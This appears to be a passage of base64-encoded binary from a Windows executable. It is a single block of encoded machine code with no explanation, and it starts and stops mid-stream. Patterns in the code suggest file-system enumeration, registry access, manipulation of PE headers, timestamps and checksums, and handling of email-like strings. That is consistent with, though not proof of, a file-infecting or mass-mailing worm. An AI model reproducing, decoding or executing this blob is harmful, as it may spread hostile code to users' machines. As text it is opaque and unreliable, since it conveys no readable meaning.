/1uL8VBqAv8V4NFAAA+/RQxISHUDagJbD7/DagZQagL/FeTRQAAzyYP4/4kGXg+VwYvBW8nC DABVi+yD7BBWi/H/dQz/FdTRQABmiUXyjUUMUIvO/3UIZsdF8AIA6HkAAACLRQxqEIhF9IpF DohF9opFD4hl9YhF941F8FD/Nv8V2NFAAIXAXnQK/xXc0UAAM8DrA2oBWMnCCAD/dCQM/3Qk DP90JAz/Mf8V0NFAAMIMAP90JAz/dCQM/3QkDP8x/xXM0UAAwgwA/zH/FcTRQAD/JcjRQABq AVjDVYvsUVFTVleLfQhqATP2W4lN+FeJdfzoFUUAAIXAWX4sigQ+PC51Bf9F/OsKPDB8BDw5 fgIz21dG6PNEAAA78Fl83oXbdBiDffwDdAQzwOs6/3UMi034V+g1AAAA6ylX/xXA0UAAi/D/ FdzRQACF9nQWM8CLTgyLVQyLCYoMAYgMEECD+AR87GoBWF9eW8nCCABVi+xRU4tdCFYz9leJ dfyNRQiNPB5QaIzwQABX6NtLAACLVQyLRfyKTQiDxAyD+AOIDBB0F0aAPy50CIoEHkY8LnX4 /0X8g338BHzDX15bycIIAFWL7FFTVlf/dQzoPUQAAIt1CItdEFmJRfxW6C1EAACL+FmF/3Qt hdt0CYvGK0UIO8N9IIN9FAB0D/91DFbo6pQAAFmFwFl0Bo10PgHry4PI/+syi038i8YrRQiN RAgCO8N+CIXbdAQzwOsa/3UMVujoQgAAVujSQwAAg8QMgGQwAQBqAVhfXlvJw1aLdCQIVzP/ OXwkEH4dVuiuQwAAhcBZdBJW6KNDAABHWTt8JBCNdAYBfOOLxl9ew1aLdCQIVzP/VuiEQwAA hcBZdBqDfCQQAHQMi84rTCQMO0wkEH0HjXQGAUfr24vHX17DVYvsUVOLXQhWi3UMV2oAU4l1 /Oi2////i/hZhf9ZfwczwOmVAAAAhfZ9D2oA6KQSAAAz0ln394lV/I1HAlBT6Fr///+L8Cvz 0eZW6F9KAABWM/ZWUIlFDOizQQAAg8QYhf9+JDt1/HQaagH/dRBWU+gp////WVlQ/3UM6JT+ //+DxBBGO/d83DP2Tzv+iTN+H2oB/3UQVv91DOj//v//WVlQU+hs/v//g8QQRjv3fOH/dQzo U0YAAFlqAVhfXlvJw1ZXM/+L92oA994b9oHm+AAAAIPGCOj7EQAAM9JZ9/aLRCQMA8eE0ogQ dQPGAAFHg/8EfNBfXsNVi+yD7AyLRRCDZfgAg30MAFOKCIpAAVZXiE3+iEX/fjOLRQiLTfgD wYlF9IoAiEUTYIpFE4pN/tLAMkX/iEUTYYtN9IpFE/9F+IgBi0X4O0UMfM1qAVhfXlvJw1WL 7IPsDItFEINl+ACDfQwAU4oIikABVleITf6IRf9+M4tFCItN+APBiUX0igCIRRNgikUTik3+ MkX/0siIRRNhi030ikUT/0X4iAGLRfg7RQx8zWoBWF9eW8nDU1ZXM/9X6BsRAABZM9JqGotc JBRZ9/GL8oPGYYP7BHR4g/sBdRVX6PoQAABZM9JqCln38YvCg8Aw62D2wwJ0E1fo4BAAAFkz 0moaWffxi/KDxkFX6M0QAACoAVl0GPbDBHQTV+i9EAAAWTPSahpZ9/GL8oPGYVfoqhAAAKgB WXQY9sMBdBNX6JoQAABZM9JqCln38Yvyg8Ywi8ZfXlvDU4tcJAxWV4t8JBiL8zv7fhJqAOhv EAAAK/sz0vf3WYvyA/OLXCQQM/+F9n4S/3QkHOgr////iAQfRzv+WXzuagLoG////1mIA4Ak HwBqAVhfXlvDVle/kPBAADP2V+iuQAAAhcBZfhiKRCQMOoaQ8EAAdBFXRuiWQAAAO/BZfOgz wF9ew2oBWOv4U4pcJAhWV4TbfD8PvvNW6EhLAACFwFl1NVboa0sAAIXAWXUqv5jwQAAz9lfo VkAAAIXAWX4UOp6Y8EAAdBBXRuhCQAAAO/BZfOwzwOsDagFYX15bw1aLdCQIigZQ/xVo0EAA hcB0C4B+AYB2BWoBWF7DM8Bew4tEJASKADyhdAc8o3QDM8DDagFYw1WL7IHs/AcAAItFHFNW V4t9DDP2iXX8gCcAOXUQiTB/CYtFCEDp3AEAAItdCIoDUOhA////hcBZdVCJXQyDfSAAdCv/ dQzof////4XAWXQN/3UM6JP///+FwFl0Lf91DOiG////hcBZdARG/0UMi0UQRv9FDEg78H0Q i0UMigBQ6PD+//+FwFl0s4tFEEg78IlFDA+NagEAAIoEHlDo0/7//4XAWQ+EvgAAAIoEHlDo i/7//4XAWXULRjt1DHzs6T8BAACKBB5Q6Kj+//+FwFl0G4tN/IoEHv9F/EY7dQyIBDl9CYtF GEg5Rfx814tFGEg5Rfx8HIN9/AB0FotF/IoEOFDoN/7//4XAWXUF/038deqLRfyFwHwEgCQ4 ADPbOB90FYoEO1DoE/7//4XAWXQHQ4A8OwB1640EO1CNhQT4//9Q6MQ9AACNhQT4//9QV+i3 PQAAi0X8g8QQK8M7RRQPjYQAAACLXQiDfSAAD4SKAAAAi0UIgCcAA8Yz21DoR/7//4XAWXRZ i0UQg8D+iUUgi0UIA8aJRRD/dRDoSv7//4XAWXUZi0UQigiIDDuKSAFDRkCIDDtDRkCJRRDr BkZGg0UQAjt1IH0Xi0UYg8D+O9h9Df91EOju/f//hcBZdbiAJDsAO10UfBCLRRzHAAEAAACL RQgDxusMi10Ii0UcgyAAjQQeX15bycNVi+y4HBAAAOgERQAAU1ZXjU3k6OTc//+LfQyNRfhq AVD/dQgz241N5Igf6M/c//+L8DvzD4QrAQAAi1X4g/oKD4IXAQAAiJ3k7///iV38/3UYjU38 Uf91FP91EFJXUOiR/f//i034g8Qci9Er0APWg/oFD47iAAAAOV38dNGJXQgz//91GI1V/CvI UgPO/3UU/3UQUY2N5O///1FQ6FP9//+DxBw5Xfx0A/9FCItN+IvRK9AD1oP6BXYJR4H/ECcA AHy/OV0IdBFT6JgMAAAz0ln394tN+IlVCIv+iV30/3UYjUX8K89QA87/dRSNheTv////dRBR UFfo9/z//4PEHDld/Iv4dBk5XQh0Lv9NCI2F5O///1D/dQzo4jsAAFlZi034i8ErxwPGg/gF dgz/RfSBffQQJwAAfKSNTeTodtz///91DOimPAAAWTPJO0UQD53Bi8FfXlvJw4gfjU3k6FTc //8zwOvtVYvsi1UMUzPbVoXSdAIgGotFEIXAdAOAIACLdQiAPkB0HFeL+ovGK/6KCITJdA6F 0nQDiAwHQ0CAOEB17F+F0nQEgCQTAIA8MwCNBDNeW3UEM8Bdw4N9EAB0C1D/dRDoNDsAAFlZ agFYXcNVi+xRU4pdCFZXvqTwQACNffxmpYD7IKR+NID7fn0vD77zVujKRgAAhcBZdShW6O1G AACFwFl1HYD7QHQYgPsudBM6XAX8dA1Ag/gCfPQzwF9eW8nDagFY6/b/dCQE6J3///9Zw1WL 7LgAIAAA6MtCAAD/dQiNhQDg//9Q6Kw6AAD/dQyNhQDw//9Q6J06AACNhQDg//9Q6O2MAACN hQDw//9Q6OGMAACNhQDw//9QjYUA4P//UOjCRgAAg8QgycNWvlICQQBW/3QkDOhdOgAA/3Qk FFbogff//1D/dCQc6Fk6AACDxBhew1OLXCQIVldT6Cc7AACL+FmD/wR8JIP/DH8fM/aF/34U D74EHlDoDUYAAIXAWXQKRjv3fOxqAVjrAjPAX15bw1WL7IHsBAEAAFNWV42F/P7//zP/UFdX V/91COhQOwAAvvwBQQBXVug39///i9iDxBw7334gV1bo9/b//1CNhfz+//9Q6IyLAACDxBCF wHQnRzv7fOCNhfz+//9owg1BAFDob4sAAPfYG8BZg+BjWYPAnF9eW8nDi8fr91WL7FYz9ldW aiBqAlZqA2gAAADA/3UI/xX80EAAi/iJdQiD//90Izl1DHQejUUIVlD/dRD/dQxX/xVs0EAA V/8VJNFAAGoBWOsCM8BfXl3DVYvsU1dqAGonagNqAGoDaAAAAID/dQj/FfzQQACDZQgAi/iD y/87+3QdjUUIUFf/FezQQACDfQgAi9h0A4PL/1f/FSTRQACLw19bXcNVi+yD7BSNTezo2tj/ /41F/GoBUI1N7P91COjM2P//hcB0DY1N7Oh62f//agFYycMzwMnDVYvsgewYAQAAVmoEagWN RexqAlDof/j//4PEEI2F6P7//1BoBAEAAP8VmNBAAIt1CI1F7FZqAFCNhej+//9Q/xV00EAA VugjAAAAVuhYOQAAWVlIeAaAPDAudfcDxmjcAUEAUOhQOAAAWVleycNqIP90JAj/FYDQQAD/ dCQE/xWc0EAAw1WL7IHsSAMAAFZX/3UIjYX4/f//M/ZQ6Bg4AACNhfj9//9Q6Pw4AACDxAyF wHQXgLwF9/3//1yNhAX3/f//dQaAIABqAV6Nhfj9//9osPBAAFDo7TcAAFmNhbj8//9ZUI2F +P3//1D/FYzQQACL+IP//w+E1AAAAP91CI2F/P7//1DorTcAAFmF9ll1E42F/P7//2hE8EAA UOimNwAAWVmNheT8//9QjYX8/v//UOiRNwAA9oW4/P//EFlZdFuNheT8//9orPBAAFDodTYA AFmFwFl0Wo2F5Pz//2io8EAAUOheNgAAWYXAWXRD/3UQjYX8/v//agFQ/1UMg8QMhcB0Lf91 EI2F/P7///91DFDo7P7//4PEDOsW/3UQjYX8/v//agBQ/1UMg8QMhcB0Fo2FuPz//1BX/xWI 0EAAhcAPhTP///9X/xWE0EAAXzPAXsnDVYvsUYF9DABQAQBTVld8Kmog/3UI/xWA0EAAM9tT aiBqA1NqA2gAAADA/3UI/xX80EAAi/iD//91BzPA6YQAAACNRfxQV/8V7NBAAIvwO3UMfhVT U/91DFf/FeTQQABX/xWQ0EAA61NqAlNTV/8V5NBAAItFDCvGvgAACACJRQiLzpn3+TvDix1s 0EAAfheJRQyNRfxqAFBWaNAxQQBX/9P/TQx17I1F/GoAUItFCJn3/lJo0DFBAFf/01f/FSTR QABqAVhfXlvJw1ZqAGonagNqAGoDaAAAAID/dCQg/xX80EAAi/CD/v91BDPAXsOLRCQMV41I EFGNSAhRUFb/FejQQABWi/j/FSTRQACLx19ew1ZqAGonagNqAGoDaAAAAMD/dCQg/xX80EAA i/CD/v91BDPAXsOLRCQMV41IEFGNSAhRUFb/FTDRQABWi/j/FSTRQACLx19ew1WL7IPsFFON TezodNX//41F/GoBUI1N7P91COhm1f//i9iF23Rwg30QAHQmgX38AJABAHYdagDosgUAAFkz 0moKWffxg8JUweIKO1X8cwOJVfyLRfxWA8BQ6Gk9AACL8FmF9nQmi0X8A8BQagBW6LU0AABq SP91/FZT6LnN//+LTQyDxByFyXQCiQGNTezordX//4vGXlvJw1WL7IHsBAEAAFNWV4t9CDPb ahRTV4id/P7//+hvNAAAg8QMOB3sN0kAdD5T6CQFAABZM9JqA1n38YXSdCxqAWoKjYX8/v// UVBo7DdJAOib9///g8QUhcB0D42F/P7//1BX6Ig0AABZWTgfD4WLAAAAOB3oNkkAdDZT6NYE AABZM9JqA1n38YXSdCSNhfz+//9TUFNTaOg2SQDouzUAAI2F/P7//1BX6EM0AACDxBw4H3VJ U+icBAAAqA9ZdSu+dA1BAFNW6IPx//9TiUUI6IIEAAAz0vd1CFJW6D7x//9QV+gJNAAAg8Qc OB91D2oEagZqAlfo1fP//4PEEDldDHQrvvwBQQBTVuhA8f//U4lFCOg/BAAAM9L3dQhSVuj7 8P//UFfo1jMAAIPEHDldEHQN/3UQV+jFMwAAWVnrMDldFHQrvtwBQQBTVuj+8P//U4lFCOj9 AwAAM9L3dQhSVui58P//UFfolDMAAIPEHF9eW8nDVYvsg+wUU4tFGFZX/3UUM9uDz/+JXfxT iX34/3UQiV3wiV30iRjo8TIAAIt1CIoGUOgZ+P//g8QQhcAPhIwAAACKBlDoBvj//4XAWXRc i0UMi95IiUUIi0UQK8aJRezrA4tF7IoLiAwYigM8QHUJi03w/0X0iU34PC51B4X/fQOLffD/ RfxDi0X8/0XwO0UIfRaLRRRIOUXwfQ2KA1DorPf//4XAWXW5M9uLRfCLTRArffiAJAgAg/8D fhFqAVg5Rfh+CTlF9A+EoAAAAINN+P+DTfD/iV38ZoseM/9TIX306MP3//+FwFkPhIoAAABT 6LT3//+FwFl0VItFDEghfQyJRQiLRRCA+0CIHAd1Bv9F9Il9+ID7LnUJg33wAH0DiX3wg0UM BINF/AKLRQxHO0UIfRqLRRRIO/h9EotF/GaLHDBT6GD3//+FwFl1totFEIAkBwCLRfArRfiD +AJ+EmoBWDlF+H4KOUX0dQWLTRiJAYtF/APG6wONRgFfXlvJw1WL7IHsGAQAAFMz21aNTeiJ Xfzo3tH//41F+GoBUI1N6P91COjQ0f//i/A783UEM8DrY1eL/otF+IvPK86NUP87yn1HjU38 K8dRjY3o+///aAAEAACNRDD/UVBX6B7+//+DxBSDffwAi/h0yv91FI2F6Pv///91EFD/dQzo Hu7//4PEEIXAfq5D66uNTejoINL//4vDX15bycNVi+xRUYtFGINN+P9QagD/dRSJRfzo5zAA AIPEDI1FGFD/dQz/dQj/FUzQQACFwHQFagFYycONRfxQjUX4/3UUUGoA/3UQ/3UY/xUU0EAA /3UY/xVc0EAAM8DJw1WL7I1FDFD/dQz/dQj/FRjQQACFwHQFagFYXcP/dRTo0TEAAFlQ/3UU agFqAP91EP91DP8VENBAAP91DP8VXNBAADPAXcNVi+yB7AwBAACNRfxWUDP2/3UM/3UI/xVM 0EAAhcB0BDPA61eNhfT+//9oBAEAAFBW/3X8/xVQ0EAAhcB1LzlFEHQjIUX4/3UUjUX4UI2F 9P7//1D/dQz/dQj/VRCDxBSDffgAdQNG67uL8OsDagFe/3X8/xVc0EAAi8ZeycNVi+yB7BQI AABTjUX8VlD/dQy+AAQAADPbiXXw/3UIiXX4/xVM0EAAhcB0BDPA63ONRfiJdfBQjYXs9/// UI1F7FCNRfBqAFCNhez7//+JdfhQU/91/P8VRNBAAIXAdTWDfewBdSg5RRB0IyFF9P91FI1F 9FCNhez7//9Q/3UM/3UI/1UQg8QUg330AHUDQ+ufi/DrA2oBXv91/P8VXNBAAIvGXlvJw4N8 JAQAdQmDPcwxQQAAdRf/FTTRQABQ6GM3AABZ6Gc3AACjzDFBAOldNwAAVYvsg+xUVjP2akSN RaxWUOj5LgAAg8QMjUXwx0WsRAAAAFCNRaxQVlZWVlZW/3UM/3UI/xWk0EAA99gbwF4jRfDJ w1WL7IPsHFNWjU3k6BbP//+DZfgAvsDwQABW6PwvAABZiUX0jUX8agFQjU3k/3UI6PXO//+L 2IXbdFOLTfxXgfkAoAAAcju4ABAAAIHBGPz//zvIi/h2Kv919I0EH1BW6Jc7AACDxAyFwHQP i0X8RwUY/P//O/hy3+sHx0X4AQAAAI1N5Ohaz///i0X4X15bycNVi+yB7AAEAABojQdBAP91 EOi88///WYXAWXRzjYUA/P//aAAEAABQgKUA/P//AP91EP91DP91COj8/P//jYUA/P//UOgm ////g8QYhcB0P4tNGGoBWP91DIkBi00UaOA0SQCJAegwLgAAjYUA/P//UGjkNUkA6B8uAAD/ dRBo3DNJAOgSLgAAg8QYM8DJw2oBWMnDVYvsgewACAAA/3UMjYUA/P//UOjuLQAAjYUA/P// aETwQABQ6O0tAAD/dRCNhQD8//9Q6N4tAACNhQD8//9ojQdBAFDo9fL//4PEIIXAdHmNhQD4 //+ApQD4//8AaAAEAABQjYUA/P//aJMHQQBQ/3UI6C78//+NhQD4//9Q6Fj+//+DxBiFwHQ/ i00YagFY/3UMiQGLTRRo4DRJAIkB6GItAACNhQD4//9QaOQ1SQDoUS0AAP91EGjcM0kA6EQt AACDxBgzwMnDagFYycNVi+yB7BwFAACDZfwAgz3wOEkAAHUlagRoUgJBAOhE6v//jU38UWhK SUAAUGgCAACA6EP8//+DxBjrPI2F6Pv//2oCUOiC8v//jYXo+///UGjgNEkA6N4sAACNRfxQ jYXo+///aLZIQABQaAIAAIDog/z//4PEIItF/IXAo/Q4SQAPhdEAAABWjYXk+v//aAQBAABQ /xWo0EAAM/aAZegAjUXoaI0HQQBQ6IosAABZjUXoWWoEagRqAlDoaS0AAFmNRAXoUOhN7P// jUXpUOjBfgAAjYXk+v//UI2F6Pv//1DoUiwAAI2F6Pv//2hE8EAAUOhRLAAAjUXoUI2F6Pv/ /1DoQSwAAI2F6Pv//2jcAUEAUOgwLAAAjYXo+///UOgn8///g8Q4hcB0CkaD/goPjGf///+N RehQaNwzSQDoBSwAAI2F6Pv//1Bo5DVJAOjkKwAAg8QQXmoBWMnDi0QkBGaLTCQIZgFIAmaL SAJmg/kBfQ5mg0ACHmaLSAJm/wjr7GaDeAIffhJmg0AC4maLSAJm/wBmg/kff+5miwhmg/kB fQaDwQxmiQhmiwhmg/kMfgaDwfRmiQjDi0QkDFaLdCQIV4t8JBCAJwCAIACAPlx1WIB+AVx1 UlNouPBAAFfoUysAAFmNRgJZighqAoD5XFp0F4vfK96EyXQPighCiAwDikgBQID5XHXtgCQ6 AAPWW4A6AHUEagLrElL/dCQY6BMrAABZM8BZ6wNqAVhfXsNVi+yB7BAEAABWjYX0/P//aOQ1 SQBQ6OwqAABZjYX8/v//WTP2aAQBAABQVv8VFNFAAFaNhfD7//9WUI2F9Pz//1ZQ6CosAABW jYX4/f//VlCNhfz+//9WUOgULAAAjYX4/f//UI2F8Pv//1DoZnwAAIPEMPfYG8BeQMnDVot0 JAyD/kRyMYtMJAiAOU11KIB5AVp1Ig+3QTwDwYPG/IvQK9E71ncRiwBeLVBFAAD32BvA99Aj wsMzwF7DVYvsU4tdEFaLdQhXU1borv///1mFwFl0UI0MMIt1DItRdI1BdDvWckAPt0kGi3Tw /IPABDP/hcmNRNAIdiuDw/yJXRCL0CtVCDtVEHMbi1AEixgD2jvedgQ71nYIg8AoRzv5ct87 +XICM8BfXltdw1WL7FNWi3UMV4t9CI1GEIlFDIvGK8eDwBA7RRgPh4AAAAAPt0YOD7dODINl CAADwYXAfmaLXRSLRQyLTRgrx4PACDvBd1SLRQyLQASpAAAAgHQcUVP/dRAl////fwPHUFfo mv///4PEFIXAdDXrFYvTA8crVRABEIsAO8NyJAPLO8FzHg+3Rg4Pt04Mg0UMCP9FCAPBOUUI fJ1qAVhfXltdwzPA6/dVi+yD7DxWjU3U6CLJ//+NTcToGsn//41F/GoBUDP2/3UMjU3EiXX4 iXX8iXX0iXXw6P7I//87xolFDHUHM8DpZAEAAItF/ItNEFONhAgAEAAAUP91COj58f//WY1F +FlWUP91CI1N1OjHyP//i9g73old7A+E/gAAAFf/dfhqA1PoZP7//4v4g8QMO/4PhNoAAAD/ dfxqA/91DOhK/v//i/CDxAyF9g+EwAAAAP91/P91DOjz/f///3X4iUUQU+jn/f//i00Qi1UM A8qDxBBmg3lcAg+FkwAAAIuJjAAAAAPYiU0QiYuMAAAAi0YIi08MiUcIiwaJB4tHCAPBiUXw i0YEiUXki0cEiUXoi0YIi3YMA/KLVeyNPBGLyCtNDAPOO038d0dQVlfouCwAAP91EP916P91 5FdX6Bz+//8Pt0sUiUX0i9MPt0MGA9GDxCCNBICNTML4i0TC/AMBZqn/D3QHwegMQMHgDIlD UI1N1Oh5yP//M/ZfjU3E6G7I//85dfRbdB+LRfA7RfxzA4tF/FD/dQjouvD///91COhMAQAA g8QMi0X0XsnDVYvsg+wUU1aNTezodsf//zP2jUX8VlD/dQiNTezoZ8f//4vYO951BzPA6b0A AABX/3X8U+jH/P//i/hZhf9ZD4SBAAAA/3X8agNT6O/8//+DxAyFwHRvahCNNB9aiZaMAAAA i0gEA8qJEGb3wf8PiVAIdAfB6QxBweEMiU5Qi0gMi3gIA/k7fQxzA4t9DGb3x/8PdAfB7wxH wecMjQQZi8gryztN/HMMUmoAUOh6JgAAg8QMi4bsAAAAhcB0A4lGKGoBXusDi30IjU3s6HLH //+F9nQLV/91COjL7///WVn/dQjoWwAAAFmLxl9eW8nDVYvsUYtFDDPJ0eiJTfx0KYtVCFaL 8A+3AgPIiU0Ii0UIwegQiUUIgeH//wAAA00IQkJOdeGJTfxeiU0Ii0UIwegQi1X8ZgPCiUUI i0UIA0UMycNVi+yD7BRWV41N7Ogzxv//g2X8ADP2jUX8VlCNTez/dQjoIMb//4v4hf90O/91 /FfoiPv//1mFwFl0IoN8OFgAjXQ4WHQSgyYA/3X8V+hb////WYkGWesDi0UIi/CNTezom8b/ /4vGX17Jw1WL7IHsAAgAAIM98DhJAAB1NYM9EDlJAAB0LI2FAPj//2jIAAAAUGr//3UIagFq AP8VeNBAAI2FAPj//1BqAP8VEDlJAMnDM8DJw1WL7IPsDFNWV4tFCIlF+ItFDIlF9It1+It9 9FFSUzPJSYvRM8Az26wywYrNiuqK1rYIZtHrZtHYcwlmNSCDZoHzuO3+znXrM8gz00911ffS 99Fbi8LBwBBmi8FaWYlF/ItF/F9eW8nDVYvsgexQAQAAU1ZXagNfjU3Q6A7F////dRDo+yUA AIvwWY1F6IPGIFD/FdjQQABmgWXq/v8z21PoU/X//1kz0moeWffxZilV8maDffI8cgZmx0Xy AQCKRfKLTfCD4D/B4QYLwYpN9NDpweAFg+EfC8GKTf5miUX8i0Xog8BEg+EfweAJM8GKTeqD 4Q9mJR/+weEFC8GKTe5miUX+Mk3+g+EfZjPBOV0UZolF/nQDagJfaiD/dQj/FYDQQABTaiBX U2oDaAAAAMD/dQj/FfzQQACL+IP//4l9+HQqagJTU1f/FeTQQACNReRqAVCNTdD/dQzoMcT/ /zvDiUUMdQ5X/xUk0UAAM8Dp8wAAAItF5MaFsv7//3RQZseFs/7//wCA/3UMZom1tf7//4mF t/7//4mFu/7//4idv/7//+hX/v///3UQiYXA/v//i0X8xoXI/v//FImFxP7//8aFyf7//zDo tCQAAP91EGaJhcr+//+NhdD+//+Jncz+//9Q6KgjAAAPt/6NR/5QjYWy/v//UOgD/v//izVs 0EAAg8QcOV0UZomFsP7//3QRjUXgU1BqFGisDUEA/3X4/9aNReBTUI2FsP7//1dQ/3X4/9aN ReBTUP915P91DP91+P/WjU3Q6P3D////dfj/FSTRQAA5XRR0Cf91COgBAQAAWWoBWF9eW8nD VYvsUYsNFDlJAINl/ABqAYXJWHQIjUX8agBQ/9HJw1WL7IHsYAYAAItFCFMz28dF8EAGAAA7 w4ld/HUG/xWs0EAAjU0IUWooUP8VINBAAIXAD4SeAAAAVo1F9FdQ/3UMU/8VCNBAAIXAdHyL RfSLNQzQQACJReSLRfiJReiNRfBQjYWg+f//UI1F4GoQUFOJXeD/dQiJXez/1os94NBAAP/X hcB1QYtF9IONrPn//wKJhaT5//+LRfiJhaj5//9TU42FoPn//2oQUFPHhaD5//8BAAAA/3UI /9b/14XAdQfHRfwBAAAA/3UI/xUk0UAAi0X8X15bycNVi+yD7BhWM/ZXVmogagNWagFoAAAA wP91CP8V/NBAAIv4O/4PhK4AAACNRehQ/xW00EAAVuha8v//ajwz0ln38VZmiVXy6Eny//9Z M9JZahhZ9/FmKVXwZjl18H8IZgFN8Gb/Te5W6Cjy//9ZM9JqHFn38WYpVe5mOXXufxJW6BDy //9ZM9JqA1n38WaJVe5W6P7x//9ZM9JqDFn38WYpVepmOXXqfwhmAU3qZv9N6I1F+FCNRehQ /xWw0EAAjUX4UI1F+FCNRfhQV/8VMNFAAFf/FSTRQABfXsnDVYvsgeyUAAAAU1ZXagFbU+ij 8f//vgQBAAAz/1ZXaOw3SQDoyiAAAFZXaOg2SQDoviAAAFZXaOQ1SQDosiAAAFZXaOA0SQDo piAAAFZXaNwzSQDomiAAAIPEQGjQ8EAAaGYiAABo1PBAAOjH3///aPg4SQDoCdD//4PEEP8V vNBAACUAAACAiT0AOUkAo/A4SQCNhWz///9Qx4Vs////lAAAAP8VuNBAAIO9cP///wV1Djmd dP///3UGiR0AOUkA6FXz//++ANAHAFbowSgAADvHWaPYM0kAdQQzwOskVldQ6AwgAADo1QAA AFNoBA5BAOiK3f//UFfoTv3//4PEHIvDX15bycNVi+yD7BRXjU3s6DfA//+NRfxqAFCNTez/ dQjoKcD//4v4hf8PhIwAAABWvgAQAAA5dfxzBDP263JT/3UM6PkgAACL2ItF/AUY/P//WTvG dlaNBD5TUP91DOi9LAAAg8QMhcB0D4tF/EYFGPz//zvwct/rM418PhS+ZiIAAI1f/FNWV+in 3v//i0UMVoPAFFBX6GUkAABT6ADe//9TVlfoL97//4PEKGoBXluNTezoUMD//4vGXl/Jw1NV VldqAmiTC0EA6LDc//+LHfTQQABZWVD/04s1ONFAAIvohe2/kwxBAHQ5agFX6Izc//9ZWVBV /9ZqBFejCDlJAOh53P//WVlQVf/WagVXowQ5SQDoZtz//1lZUFX/1qMMOUkAagNokwtBAOhP 3P//WVlQ/9OL6IXtdBNqA1foPNz//1lZUFX/1qMQOUkAv8gNQQBX/9OL2IXbdBNqAVfoG9z/ /1lZUFP/1qMUOUkAX15dW8NVi+yB7EwGAABTVleNTeToxL7//4t9CDPbV4ld9OiQ7///hcBZ D4VqAgAAV+jP+P//hcBZD4VbAgAAvvsMQQBTVuj12///iUX8jYW4+v//U1BTU1fo7x8AAIPE HDld/IldCH4x/3UIVuie2///OBhZWXQXUI2FuPr//1DoleP//1mFwFkPhQsCAAD/RQiLRQg7 Rfx8z42FyP7//1Dog+X//42FvPv//8cEJAQBAABQU/8VFNFAAI2FyP7//1NQjYW8+///UP8V fNBAAIXAD4TCAQAAizWA0EAAjYXI/v//aiBQ/9ZoAFABAI2FyP7//1dQ6LH0//+DxAyFwA+E hwEAAI1F+FNQV41N5OjMvf//O8OJRQgPhG4BAACBffgAUAEAD4ZZAQAAgX34AAAwAA+DTAEA AI2FvPv//1NQjYW0+f//UI2FxP3//1BX6PgeAACNhbT5//9QjYXE/f//UOiKHQAAjYW8+/// UI2FxP3//1Dodx0AAI2FxP3//2is8EAAUOhmHQAAagRqA42FwPz//2oDUOgj3f//D76FwPz/ /1DotSAAAIPEQIiFwPz//42FwPz//1CNhcT9//9Q6CsdAACNRfRQ/3X4/3UI6BkaAACDxBQ7 w4lFCI1N5A+EoQAAAOiuvf///3X0jYXE/f///3UIUOha4///jYXE/f//UOiq+v//g8QQjYXE /f//aidQ/9aNRcxQV+io5v//WYlF/FlqIFf/1lONhcj+//9XUP8VfNBAAI2FyP7//1DoUOT/ /42FxP3//1Bo1ABBAOiKHAAAaMDwQABX6DT8//+DxBQ5Xfx0DI1FzFBX6J3m//9ZWf91COj+ IAAAWWoBWOsXjU3k6A29//+Nhcj+//9Q6P7j//9ZM8BfXlvJw1WL7IHsKAQAAFaNTejoKrz/ /4Nl/ACNRfhqAVD/dQiNTejoGLz//4vwhfYPhJMAAACNheD9//9QjYXY+///UI2F3Pz//1CN heT+//9Q/3UI6FcdAACNhdz8//9QjYXk/v//UOjpGwAAjYXY+///UI2F5P7//1Do1hsAAICl 5f3//wCNheH9//9QjYXk/v//UOi8GwAAjYXk/v//aNwBQQBQ6KsbAACNRfxQ/3X4VuiqGQAA i/CDxECF9o1N6HUJ6DW8//8zwOtU6Cy8////dfyNheT+//9WUOja4f//Vuj5HwAAg8QQM/b/ FcTQQABQjYXk/v//UOjY6///WYXAWXQZav9Q/xXA0EAAjYXk/v//UOjg4v//WWoBXovGXsnD VYvsgewEAQAAjYX8/v//aAQBAABQaKAxQQBqBWhSAkEA6CrY//9ZWVBoAQAAgOiO6f//agGN hfz+////dQz/dQhQ6ODo//+DxCTJw1WL7IHsDAIAAFMz2zldDFZXiV38D4WLAQAAvosJQQBT VugO2P//i/iNhfT9//9QjYX4/v//UFNTiJ34/v///3UI6PsbAACDxBxPO/uJXQx+Mf91DFbo qtf//1CNhfj+//9Q6D9sAACDxBCFwHUMOX0MdAfHRfwBAAAA/0UMOX0MfM+NhfT9//9QjYX4 /v//UOhRGgAAvhsLQQBTVuiT1///g8QQM/87w4lFDH4oV1boUNf//1CNhfj+//9Q6OVrAACD xBCFwHUHx0X8AQAAAEc7fQx82Dld/HQpagFo8A1BAOge1///i3UIUFboHt///4PEEIXAdQ9W 6I7h//9Z6aIAAACLdQhW6MXf//+L+Fk7+3w1VmjoNkkA6LgZAABZg/8FWX02VmjsN0kA6KYZ AABqAWgA0AcA/zXYM0kAVuiY5///g8QY6xOD/5x1DlNq/2r/Vuh6EgAAg8QQixUYOUkAadIs AQAAgfpYGwAAfhdT6Mfp//9ZM9JqBVn38YPCB2nS6AMAAFL/FSzRQAD/BRg5SQCBPRg5SQAQ JwAAfgaJHRg5SQBqAVhfXlvJw1WL7IHsDAMAAFMz242F9Pz//1NQjYX8/v//UFP/dQjocBoA AIPEFDldDHVtOV0QdT+Nhfz+//9Q6NwZAAA7w1l0B4icBfv+//+Nhfj9//9TUFONhfz+//9T UOg1GgAAjYX4/f//UOh63v//g8QY6w2NhfT8//9Q6Gne//9ZhcB0GGoBaADQBwD/NdgzSQD/ dQjomOb//4PEEGoBWFvJw1ZXi3wkDGoBXmhuCUEAV+iu3f//WYXAWXQlaG0JQQBX6J3d//9Z hcBZdAIz9lZoJ15AAFfoHeD//4PEDGoBWF9ew1WL7IHsDAsAAItFFFNWV/91DDPbiRiNhfT0 //9Q6CYYAACNhfT0//9oRPBAAFDoJRgAAP91EI2F9PT//1DoFhgAAI2F9Pj//2gABAAAUI2F 9PT//1NQaAIAAIDoh+b//42F9Pj//1CNhfz+//9Q6NUXAACDxDSNhfT4//9oBAEAAFCNhfz+ //9Q/xXI0EAAvosJQQBTVugL1f//iUUUjYX0/P//U1BTjYX0+P//U1Do/xgAAIPEHDP/OV0U fitXVuix1P//OBhZWXQTUI2F9Pz//1DoqNz//1mFwFl1Bkc7fRR82jt9FHwkjYX0+P//aCMN QQBQ6Ibc//9ZhcBZdA2NhfT4//9Q6F/4//9ZU42F+P3//1NQjYX8/v//UI2F9Pj//1DoihgA AI2F+P3//1CNhfz+//9Q6BwXAACNhfz+//9Q6Hb+//+DxCBo6AMAAP8VLNFAAGoBWF9eW8nD VYvsgewIAQAAgKX4/v//AI2F+P7//2oBUOhf3P//jUX8UI2F+P7//2gIX0AAUGgCAACA6PPl //+DxBhogO42AP8VLNFAAOvBVYvsg30MAHU0g30QAHUIagX/FSzRQAD/dQjoftz//4XAWXwU 